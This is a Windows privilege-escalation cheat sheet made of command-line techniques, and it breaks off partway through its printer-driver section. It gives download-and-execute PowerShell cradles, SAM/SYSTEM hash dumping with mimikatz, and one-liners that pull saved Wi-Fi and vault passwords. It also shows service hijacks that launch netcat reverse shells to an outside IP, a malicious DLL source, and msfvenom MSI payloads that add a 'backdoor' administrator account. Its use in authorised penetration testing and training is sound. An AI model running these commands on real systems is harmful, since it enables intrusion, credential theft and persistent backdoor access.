Windows - Privilege Escalation
contents
Summary#
- Tools
- Windows Version and Configuration
- User Enumeration
- Network Enumeration
- Antivirus Enumeration
- Default Writable Folders
- EoP - Looting for passwords
- SAM and SYSTEM files
- HiveNightmare
- LAPS Settings
- Search for file contents
- Search for a file with a certain filename
- Search the registry for key names and passwords
- Passwords in unattend.xml
- Wifi passwords
- Sticky Notes passwords
- Passwords stored in services
- Passwords stored in Key Manager
- Passwords stored in UWP PasswordVault
- Powershell History
- Powershell Transcript
- Password in Alternate Data Stream
- EoP - Processes Enumeration and Tasks
- EoP - Incorrect permissions in services
- EoP - Windows Subsystem for Linux (WSL)
- EoP - Unquoted Service Paths
- EoP - $PATH Interception
- EoP - Named Pipes
- EoP - Kernel Exploitation
- EoP - Microsoft Windows Installer
- EoP - Insecure GUI apps
- EoP - Evaluating Vulnerable Drivers
- EoP - Printers
- EoP - Runas
- EoP - Abusing Shadow Copies
- EoP - From local administrator to NT SYSTEM
- EoP - Living Off The Land Binaries and Scripts
- EoP - Impersonation Privileges
- EoP - Privileged File Write
- EoP - Privileged File Delete
- EoP - Common Vulnerabilities and Exposures
- EoP - $PATH Interception
- References
Tools#
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecksWatson - Watson is a (.NET 2.0 compliant) C# implementation of Sherlock
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File Sherlock.ps1BeRoot - Privilege Escalation Project - Windows / Linux / Mac
./windows-exploit-suggester.py --update./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txtWindowsExploits - Windows exploits, mostly precompiled. Not being updated.
WindowsEnum - A Powershell Privilege Escalation Enumeration Script.
Seatbelt.exe -group=all -fullSeatbelt.exe -group=system -outputfile="C:\Temp\system.txt"Seatbelt.exe -group=remote -computername=dc.theshire.local -computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-toes\""JAWS - Just Another Windows (Enum) Script
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txtWindows Exploit Suggester - Next Generation (WES-NG)
# First obtain systeminfosysteminfosysteminfo > systeminfo.txt# Then feed it to wesngpython3 wes.py --update-wespython3 wes.py --updatepython3 wes.py systeminfo.txtPrivescCheck - Privilege Escalation Enumeration Script for Windows
C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended"C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report PrivescCheck_%COMPUTERNAME% -Format TXT,CSV,HTML"
Windows Version and Configuration#
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"Extract patchs and updates
wmic qfeArchitecture
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%List all env variables
setGet-ChildItem Env: | ft Key,ValueList all drives
wmic logicaldisk get caption || fsutil fsinfo driveswmic logicaldisk get caption,description,providernameGet-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,RootUser Enumeration#
Get current username
echo %USERNAME% || whoami$env:usernameList user privilege
whoami /privwhoami /groupsList all users
net userwhoami /allGet-LocalUser | ft Name,Enabled,LastLogonGet-ChildItem C:\Users -Force | select NameList logon requirements; useable for bruteforcing
$env:usernadscnet accountsGet details about a user (i.e. administrator, admin, current user)
net user administratornet user adminnet user %USERNAME%List all local groups
net localgroupGet-LocalGroup | ft NameGet details about a group (i.e. administrators)
net localgroup administratorsGet-LocalGroupMember Administrators | ft Name, PrincipalSourceGet-LocalGroupMember Administrateurs | ft Name, PrincipalSourceGet Domain Controllers
nltest /DCLIST:DomainNamenltest /DCNAME:DomainNamenltest /DSGETDC:DomainNameNetwork Enumeration#
List all network interfaces, IP, and DNS.
ipconfig /allGet-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4AddressGet-DnsClientServerAddress -AddressFamily IPv4 | ftList current routing table
route printGet-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndexList the ARP table
arp -AGet-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,StateList all current connections
netstat -anoList all network shares
net sharepowershell Find-DomainShare -ComputerDomain domain.localSNMP Configuration
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /sGet-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -RecurseAntivirus Enumeration#
Enumerate antivirus on a box with WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Default Writable Folders#
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeysC:\Windows\System32\spool\drivers\colorC:\Windows\System32\spool\printersC:\Windows\System32\spool\serversC:\Windows\tracingC:\Windows\TempC:\Users\PublicC:\Windows\TasksC:\Windows\System32\tasksC:\Windows\SysWOW64\tasksC:\Windows\System32\tasks_migrated\microsoft\windows\pls\systemC:\Windows\SysWOW64\tasks\microsoft\windows\pls\systemC:\Windows\debug\wiaC:\Windows\registration\crmlogC:\Windows\System32\com\dmpC:\Windows\SysWOW64\com\dmpC:\Windows\System32\fxstmpC:\Windows\SysWOW64\fxstmpEoP - Looting for passwords#
SAM and SYSTEM files#
The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.
# Usually %SYSTEMROOT% = C:\Windows%SYSTEMROOT%\repair\SAM%SYSTEMROOT%\System32\config\RegBack\SAM%SYSTEMROOT%\System32\config\SAM%SYSTEMROOT%\repair\system%SYSTEMROOT%\System32\config\SYSTEM%SYSTEMROOT%\System32\config\RegBack\systemGenerate a hash file for John using pwdump or samdump2.
pwdump SYSTEM SAM > /root/sam.txtsamdump2 SYSTEM SAM -o sam.txtEither crack it with john -format=NT /root/sam.txt, hashcat or use Pass-The-Hash.
HiveNightmare#
CVE-2021–36934 allows you to retrieve all registry hives (SAM,SECURITY,SYSTEM) in Windows 10 and 11 as a non-administrator user
Check for the vulnerability using icacls
C:\Windows\System32> icacls config\SAMconfig\SAM BUILTIN\Administrators:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Users:(I)(RX) <-- this is wrong - regular users should not have read access!Then exploit the CVE by requesting the shadowcopies on the filesystem and reading the hives from it.
mimikatz> token::whoami /full# List shadow copies availablemimikatz> misc::shadowcopies# Extract account from SAM databasesmimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM# Extract secrets from SECURITYmimikatz> lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITYLAPS Settings#
Extract HKLM\Software\Policies\Microsoft Services\AdmPwd from Windows Registry.
- LAPS Enabled: AdmPwdEnabled
- LAPS Admin Account Name: AdminAccountName
- LAPS Password Complexity: PasswordComplexity
- LAPS Password Length: PasswordLength
- LAPS Expiration Protection Enabled: PwdExpirationProtectionEnabled
Search for file contents#
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txtfindstr /si password *.xml *.ini *.txt *.config 2>nul >> results.txtfindstr /spin "password" *.*Also search in remote places such as SMB Shares and SharePoint:
- Search passwords in SharePoint: nheiniger/SnaffPoint (must be compiled first, for referencing issue see: Pull #6)
# First, retrieve a token## Method 1: using SnaffPoint binary$token = (.\GetBearerToken.exe https://your.sharepoint.com)## Method 2: using AADInternalsInstall-Module AADInternals -Scope CurrentUserImport-Module AADInternals$token = (Get-AADIntAccessToken -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc" -Tenant "your.onmicrosoft.com" -Resource "https://your.sharepoint.com")# Second, search on Sharepoint## Method 1: using search strings in ./presets dir.\SnaffPoint.exe -u "https://your.sharepoint.com" -t $token## Method 2: using search string in command line### -l uses FQL search, see: https://learn.microsoft.com/en-us/sharepoint/dev/general-development/fast-query-language-fql-syntax-reference.\SnaffPoint.exe -u "https://your.sharepoint.com" -t $token -l -q "filename:.config"- Search passwords in SMB Shares: SnaffCon/Snaffler
Search for a file with a certain filename#
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*where /R C:\ user.txtwhere /R C:\ *.iniSearch the registry for key names and passwords#
REG QUERY HKLM /F "password" /t REG_SZ /S /KREG QUERY HKCU /F "password" /t REG_SZ /S /Kreg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologinreg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parametersreg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentialsreg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentialsreg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v passwordreg query HKLM /f password /t REG_SZ /sreg query HKCU /f password /t REG_SZ /sPasswords in unattend.xml#
Location of the unattend.xml files.
C:\unattend.xmlC:\Windows\Panther\Unattend.xmlC:\Windows\Panther\Unattend\Unattend.xmlC:\Windows\system32\sysprep.infC:\Windows\system32\sysprep\sysprep.xmlDisplay the content of these files with dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul.
Example content
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64"> <AutoLogon> <Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password> <Enabled>true</Enabled> <Username>Administrateur</Username> </AutoLogon> <UserAccounts> <LocalAccounts> <LocalAccount wcm:action="add"> <Password>*SENSITIVE*DATA*DELETED*</Password> <Group>administrators;users</Group> <Name>Administrateur</Name> </LocalAccount> </LocalAccounts> </UserAccounts>Unattend credentials are stored in base64 and can be decoded manually with base64.
$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d SecretSecurePassword1234*The Metasploit module post/windows/gather/enum_unattend looks for these files.
IIS Web config#
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinueC:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.configC:\inetpub\wwwroot\web.configOther files#
%SYSTEMDRIVE%\pagefile.sys%WINDIR%\debug\NetSetup.log%WINDIR%\repair\sam%WINDIR%\repair\system%WINDIR%\repair\software, %WINDIR%\repair\security%WINDIR%\iis6.log%WINDIR%\system32\config\AppEvent.Evt%WINDIR%\system32\config\SecEvent.Evt%WINDIR%\system32\config\default.sav%WINDIR%\system32\config\security.sav%WINDIR%\system32\config\software.sav%WINDIR%\system32\config\system.sav%WINDIR%\system32\CCM\logs\*.log%USERPROFILE%\ntuser.dat%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat%WINDIR%\System32\drivers\etc\hostsC:\ProgramData\Configs\*C:\Program Files\Windows PowerShell\*dir c:*vnc.ini /s /bdir c:*ultravnc.ini /s /bWifi passwords#
Find AP SSID
netsh wlan show profileGet Cleartext Pass
netsh wlan show profile <SSID> key=clearOneliner method to extract wifi passwords from all the access point.
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo onSticky Notes passwords#
The sticky notes app stores it’s content in a sqlite db located at C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
Passwords stored in services#
Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher
https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1Import-Module path\to\SessionGopher.ps1;Invoke-SessionGopher -AllDomain -oInvoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ssPasswords stored in Key Manager#
:warning: This software will display its output in a GUI
rundll32 keymgr,KRShowKeyMgrPasswords stored in UWP PasswordVault#
Modern Windows UWP applications, Microsoft Edge, and modern system services store authentication tokens and plaintext passwords inside the Universal Windows Platform (UWP) PasswordVault (also exposed as Web Credentials in vaultcmd). This storage space is session-isolated and can be decrypted natively without administrative or SeDebugPrivilege rights.
Execute this PowerShell command inside the user’s active session to instantly dump and decrypt all stored usernames and plaintext passwords:
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]; $v = New-Object Windows.Security.Credentials.PasswordVault; $v.RetrieveAll() | ForEach-Object { try { $_.RetrievePassword(); $_ } catch {} } | Select-Object Resource, UserName, Password | Format-ListPowershell History#
Disable Powershell history: Set-PSReadlineOption -HistorySaveStyle SaveNothing.
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txttype C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txttype $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtcat (Get-PSReadlineOption).HistorySavePathcat (Get-PSReadlineOption).HistorySavePath | sls passwPowershell Transcript#
C:\Users\<USERNAME>\Documents\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txtC:\Transcripts\<DATE>\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txtPassword in Alternate Data Stream#
PS > Get-Item -path flag.txt -Stream *PS > Get-Content -path flag.txt -Stream FlagEoP - Processes Enumeration and Tasks#
What processes are running?
tasklist /vnet startsc queryGet-ServiceGet-ProcessGet-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSizeWhich processes are running as “system”
tasklist /v /fi "username eq system"Do you have powershell magic?
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersionList installed programs
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTimeGet-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft NameList services
net startwmic service list brieftasklist /SVCEnumerate scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskNameschtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEMGet-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,StateStartup tasks
wmic startup get caption,commandreg query HKLM\Software\Microsoft\Windows\CurrentVersion\Rreg query HKCU\Software\Microsoft\Windows\CurrentVersion\Runreg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOncedir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
EoP - Incorrect permissions in services#
A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.
Often, services are pointing to writable locations:
Orphaned installs, not installed anymore but still exist in startup
DLL Hijacking
# find missing DLL - Find-PathDLLHijack PowerUp.ps1- Process Monitor : check for "Name Not Found"# compile a malicious dll- For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll"- For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll"# content of windows_dll.c#include <windows.h>BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) { if (dwReason == DLL_PROCESS_ATTACH) { system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt"); ExitProcess(0); } return TRUE;}PATH directories with weak permissions
$ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt$ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"$ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txtFOR /F %i in (Servicenames.txt) DO echo %itype Servicenames.txtFOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txtFOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
Alternatively you can use the Metasploit exploit : exploit/windows/local/service_permissions
Note to check file permissions you can use cacls and icacls
icacls (Windows Vista +) cacls (Windows XP)
You are looking for BUILTIN\Users:(F)(Full access), BUILTIN\Users:(M)(Modify access) or BUILTIN\Users:(W)(Write-only access) in the output.
Example with Windows 10 - CVE-2019-1322 UsoSvc#
Prerequisite: Service account
PS C:\Windows\system32> sc.exe stop UsoSvcPS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\drivers\color\nc.exe 10.10.10.10 4444 -e cmd.exe"PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe"PS C:\Windows\system32> sc.exe config UsoSvc binpath= "cmd /C C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"PS C:\Windows\system32> sc.exe qc usosvc[SC] QueryServiceConfig SUCCESSSERVICE_NAME: usosvc TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START (DELAYED) ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Update Orchestrator Service DEPENDENCIES : rpcss SERVICE_START_NAME : LocalSystemPS C:\Windows\system32> sc.exe start UsoSvcExample with Windows XP SP1 - upnphost#
# NOTE: spaces are mandatory for this exploit to work !sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.0.73 4343 -e C:\WINDOWS\System32\cmd.exe"sc config upnphost obj= ".\LocalSystem" password= ""sc qc upnphostsc config upnphost depend= ""net start upnphostIf it fails because of a missing dependency, try the following commands.
sc config SSDPSRV start=autonet start SSDPSRVnet stop upnphostnet start upnphostsc config upnphost depend=""Using accesschk from Sysinternals or accesschk-XP.exe - github.com/phackt
$ accesschk.exe -uwcqv "Authenticated Users" * /accepteulaRW SSDPSRV SERVICE_ALL_ACCESSRW upnphost SERVICE_ALL_ACCESS$ accesschk.exe -ucqv upnphostupnphost RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users SERVICE_ALL_ACCESS RW BUILTIN\Power Users SERVICE_ALL_ACCESS$ sc config <vuln-service> binpath="net user backdoor backdoor123 /add"$ sc config <vuln-service> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"$ sc stop <vuln-service>$ sc start <vuln-service>$ sc config <vuln-service> binpath="net localgroup Administrators backdoor /add"$ sc stop <vuln-service>$ sc start <vuln-service>EoP - Windows Subsystem for Linux (WSL)#
With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Don’t know the root password? No problem just set the default user to root W/
<distro>.exe --default-user root. Now start your bind shell or reverse. - Warlockobama’s tweet
wsl whoami./ubuntun1604.exe config --default-user rootwsl whoamiwsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'Binary bash.exe can also be found in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
Alternatively you can explore the WSL filesystem in the folder C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
EoP - Unquoted Service Paths#
The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.
# in CMDwmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr /i /v """wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """# in PowerShellgwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,NameMetasploit exploit :
exploit/windows/local/trusted_service_pathPowerUp exploit
# find the vulnerable applicationC:\> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('https://your-site.com/PowerUp.ps1'); Invoke-AllChecks"...[*] Checking for unquoted service paths...ServiceName : BBSvcPath : C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exeStartName : LocalSystemAbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path <HijackPath>...# automatic exploitInvoke-ServiceAbuse -Name [SERVICE_NAME] -Command "..\..\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
Example#
For C:\Program Files\something\legit.exe, Windows will try the following paths first:
C:\Program.exeC:\Program Files.exe
EoP - $PATH Interception#
Requirements:
- PATH contains a writable folder with low privileges.
- The writable folder is before the folder that contains the legitimate binary.
EXAMPLE:
# List contents of the PATH environment variable# EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32$env:Path# See permissions of the target folder# EXAMPLE OUTPUT: BUILTIN\Users: GR,GWicacls.exe "C:\Program Files\nodejs\"# Place our evil-file in that folder.copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"Because (in this example) “C:\Program Files\nodejs" is before “C:\WINDOWS\system32" on the PATH variable, the next time the user runs “cmd.exe”, our evil version in the nodejs folder will run, instead of the legitimate one in the system32 folder.
EoP - Named Pipes#
- Find named pipes:
[System.IO.Directory]::GetFiles("\\.\pipe\") - Check named pipes DACL:
pipesec.exe <named_pipe> - Reverse engineering software
- Send data throught the named pipe :
program.exe >\\.\pipe\StdOutPipe 2>\\.\pipe\StdErrPipe
EoP - Kernel Exploitation#
List of exploits kernel : https://github.com/SecWiki/windows-kernel-exploits
Security Bulletin Table#
| Security Bulletin | KB | Description | Operating System |
|---|---|---|---|
| MS17-017 | KB4013081 | GDI Palette Objects Local Privilege Escalation | Windows 7/8 |
| CVE-2017-8464 | - | LNK Remote Code Execution Vulnerability | Windows 10/8.1/7/2016/2010/2008 |
| CVE-2017-0213 | - | Windows COM Elevation of Privilege Vulnerability | Windows 10/8.1/7/2016/2010/2008 |
| CVE-2018-0833 | - | SMBv3 Null Pointer Dereference Denial of Service | Windows 8.1/Server 2012 R2 |
| CVE-2018-8120 | - | Win32k Elevation of Privilege Vulnerability | Windows 7 SP1/2008 SP2, 2008 R2 SP1 |
| MS17-010 | KB4013389 | Windows Kernel Mode Drivers | Windows 7/2008/2003/XP |
| MS16-135 | KB3199135 | Windows Kernel Mode Drivers | 2016 |
| MS16-111 | KB3186973 | Kernel API | Windows 10 10586 (32/64)/8.1 |
| MS16-098 | KB3178466 | Kernel Driver | Windows 8.1 |
| MS16-075 | KB3164038 | Hot Potato | 2003/2008/7/8/2012 |
| MS16-034 | KB3143145 | Kernel Driver | 2008/7/8/10/2012 |
| MS16-032 | KB3143141 | Secondary Logon Handle | 2008/7/8/10/2012 |
| MS16-016 | KB3136041 | WebDAV | 2008/Vista/7 |
| MS16-014 | KB3134228 | Remote Code Execution | 2008/Vista/7 |
| MS03-026 | KB823980 | Buffer Overrun In RPC Interface | NT/2000/XP/2003 |
To cross compile a program from Kali, use the following command.
Kali> i586-mingw32msvc-gcc -o adduser.exe useradd.cEoP - Microsoft Windows Installer#
AlwaysInstallElevated#
Using the reg query command, you can check the status of the AlwaysInstallElevated registry key for both the user and the machine. If both queries return a value of 0x1, then AlwaysInstallElevated is enabled for both user and machine, indicating the system is vulnerable.
Shell command
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedPowerShell command
Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\InstallerGet-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer
Then create an MSI package and install it.
msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msimsfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi-nouac -o evil.msimsiexec /quiet /qn /i C:\evil.msiTechnique also available in :
- Metasploit :
exploit/windows/local/always_install_elevated - PowerUp.ps1 :
Get-RegistryAlwaysInstallElevated,Write-UserAddMSI
CustomActions#
Custom Actions in MSI allow developers to specify scripts or executables to be run at various points during an installation
- mgeeky/msidump - a tool that analyzes malicious MSI installation packages, extracts files, streams, binary data and incorporates YARA scanner.
- activescott/lessmsi - A tool to view and extract the contents of an Windows Installer (.msi) file.
- mandiant/msi-search - This tool simplifies the task for red team operators and security teams to identify which MSI files correspond to which software and enables them to download the relevant file.
Enumerate products on the machine
Get-WmiObject Win32_Product | Select Name, LocalPackagewmic product get identifyingnumber,name,vendor,version,localpackageExecute the repair process with the /fa parameter to trigger the CustomActions.
We can use both IdentifyingNumber {E0F1535A-8414-5EF1-A1DD-E17EDCDC63F1} or path to the installer c:\windows\installer\XXXXXXX.msi.
The repair will run with the NT SYSTEM account.
$installed = Get-WmiObject Win32_Product$string= $installed | select-string -pattern "PRODUCTNAME"$string[0] -match '{\w{8}-\w{4}-\w{4}-\w{4}-\w{12}}'Start-Process -FilePath "msiexec.exe" -ArgumentList "/fa $($matches[0])"Common mistakes in MSI installers:
Missing quiet parameters: it will spawn
conhost.exeasNT SYSTEM. Use[CTRL]+[A]to select some text in it, it will pause the execution.- conhost -> properties -> “legacy console mode” Link -> Internet Explorer -> CTRL+O –> cmd.exe
GUI with direct actions: open a URL and start the browser then use the same scenario.
Binaries/Scripts loaded from user writable paths: you might need to win the race condition.
DLL hijacking/search order abusing
PowerShell
-NoProfilemissing: Add custom commands into your profilenew-item -Path $PROFILE -Type file -Forceecho "Start-Process -FilePath cmd.exe -Wait;" > $PROFILE
EoP - Insecure GUI apps#
Application running as SYSTEM allowing an user to spawn a CMD, or browse directories.
Example: “Windows Help and Support” (Windows + F1), search for “command prompt”, click on “Click to open Command Prompt”
EoP - Evaluating Vulnerable Drivers#
Look for vuln drivers loaded, we often don’t spend enough time looking at this:
Living Off The Land Drivers is a curated list of Windows drivers used by adversaries to bypass security controls and carry out attacks. The project helps security professionals stay informed and mitigate potential threats.
Native binary: DriverQuery.exe
PS C:\Users\Swissky> driverquery.exe /fo table /siModule Name Display Name Driver Type Link Date============ ====================== ============= ======================1394ohci 1394 OHCI Compliant Ho Kernel 12/10/2006 4:44:38 PM3ware 3ware Kernel 5/18/2015 6:28:03 PMACPI Microsoft ACPI Driver Kernel 12/9/1975 6:17:08 AMAcpiDev ACPI Devices driver Kernel 12/7/1993 6:22:19 AMacpiex Microsoft ACPIEx Drive Kernel 3/1/2087 8:53:50 AMacpipagr ACPI Processor Aggrega Kernel 1/24/2081 8:36:36 AMAcpiPmi ACPI Power Meter Drive Kernel 11/19/2006 9:20:15 PMacpitime ACPI Wake Alarm Driver Kernel 2/9/1974 7:10:30 AMADP80XX ADP80XX Kernel 4/9/2015 4:49:48 PM<SNIP>matterpreter/OffensiveCSharp/DriverQuery
PS C:\Users\Swissky> DriverQuery.exe --no-msft[+] Enumerating driver services...[+] Checking file signatures...Citrix USB Filter Driver Service Name: ctxusbm Path: C:\Windows\system32\DRIVERS\ctxusbm.sys Version: 14.11.0.138 Creation Time (UTC): 17/05/2018 01:20:50 Cert Issuer: CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network, O=Symantec Corporation, C=US Signer: CN="Citrix Systems, Inc.", OU=XenApp(ClientSHA256), O="Citrix Systems, Inc.", L=Fort Lauderdale, S=Florida, C=US<SNIP>
EoP - Printers#
Universal Printer#
Create a Printer
$printerName = 'Universal Priv Printer'$system32 = $env:systemroot + '\system32'$drivers = $system32 + '\spool\drivers'$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\' + $printerName Copy-Item -Force -Path ($system32 + '\mscms.dll') -Destination ($system32 + '\mimispool.dll')Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll' -Destination ($drivers + '\x64\3\mimispool.dll')Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destination ($drivers + '\W32X86\3\mimispool.dll') Add-PrinterDriver -Name 'Generic / Text Only'Add-Printer -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared New-Item -Path ($RegStartPrinter + '\CopyFiles') | Out-NullNew-Item -Path ($RegStartPrinter + '\CopyFiles\Kiwi') | Out-NullNew-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Directory' -PropertyType 'String' -Value 'x64\3' | Out-NullNew-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-NullNew-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-NullNew-Item -Path ($RegStartPrinter + '\CopyFiles\Litchi') | Out-NullNew-ItemProperty -Path 